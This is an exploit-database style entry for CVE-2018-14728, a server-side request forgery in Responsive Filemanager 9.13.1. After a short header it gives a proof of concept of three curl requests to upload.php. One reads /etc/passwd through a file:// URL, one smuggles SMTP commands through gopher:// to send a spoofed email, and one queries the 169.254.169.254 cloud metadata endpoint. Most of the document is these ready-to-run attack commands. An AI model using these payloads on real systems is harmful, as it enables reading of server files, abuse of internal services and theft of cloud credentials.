13 lines
No EOL
1.1 KiB
Text
13 lines
No EOL
1.1 KiB
Text
# Exploit Title: Responsive filemanager 9.13.1 - Server-Side Request Forgery
|
|
# Date: 2018-07-29
|
|
# Exploit Author: GUIA BRAHIM FOUAD
|
|
# Vendor Homepage: http://responsivefilemanager.com/
|
|
# Software Link: https://github.com/trippo/ResponsiveFilemanager/releases/download/v9.13.1/responsive_filemanager.zip
|
|
# Version: 9.13.1
|
|
# Tested on: responsive filemanager version: 9.13.1, php version: 7.0
|
|
# CVE : CVE-2018-14728
|
|
|
|
# PoC
|
|
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=file:///etc/passwd'
|
|
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a'
|
|
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=http://169.254.169.254/openstack' |